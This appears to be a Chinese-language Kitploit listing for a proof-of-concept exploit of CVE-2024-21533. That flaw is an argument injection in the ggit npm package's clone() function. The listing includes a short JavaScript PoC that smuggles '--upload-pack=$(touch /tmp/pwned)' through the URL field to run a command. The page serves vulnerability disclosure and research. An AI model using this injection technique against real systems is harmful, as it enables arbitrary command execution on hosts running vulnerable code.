Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-21533-PoC-ggit — CVE-2024-21533 的概念验证漏洞利用程序,该漏洞是 ggit npm 包中的一个参数注入漏洞,可通过 --upload-pack Git 选项实现任意命令执行。 | Kitploit
工具/GitHubGitHub/lirantal/cve-2024-21533-poc-ggit
漏洞分析代码分析漏洞利用Web应用程序漏洞利用供应链安全
GitHublirantal/cve-2024-21533-poc-ggit

CVE-2024-21533-PoC-ggit

CVE-2024-21533 的概念验证漏洞利用程序,该漏洞是 ggit npm 包中的一个参数注入漏洞,可通过 --upload-pack Git 选项实现任意命令执行。

查看仓库
32个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-21533 ggit 中的参数注入漏洞

ggit 这样描述自己:

root@kitploit:~
Local promise-returning git command wrappers

资源:

  • 项目的 GitHub 源代码:https://github.com/bahmutov/ggit
  • 项目的 npm 包:https://www.npmjs.com/package/ggit

有关此参数注入漏洞的文章:https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

利用背景

我在 ggit npm 包中报告了一个参数注入漏洞。

该漏洞体现在库的 clone() API 中,该 API 允许指定要克隆的远程 URL 以及要克隆到的磁盘文件。然而,该库既不清除用户输入,也不验证给定的 URL 方案,更没有使用双破折号 POSIX 字符(--)正确地向 git 二进制传递命令行标志以表示选项的结束。

因此,允许用户利用 Git 中的参数注入漏洞,该漏洞源于 --upload-pack 命令行选项,会导致执行任意命令。(outPath)用作克隆目标时,则该漏洞适用。

漏洞利用

  1. 安装 [email protected] 或更早版本
  2. 构建以下 POC:
root@kitploit:~
const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});
  1. 观察到磁盘上创建了新文件 /tmp/pwned

贡献

请参阅 CONTRIBUTING 了解为本项目做出贡献的指南。

作者

Liran Tal

下载工具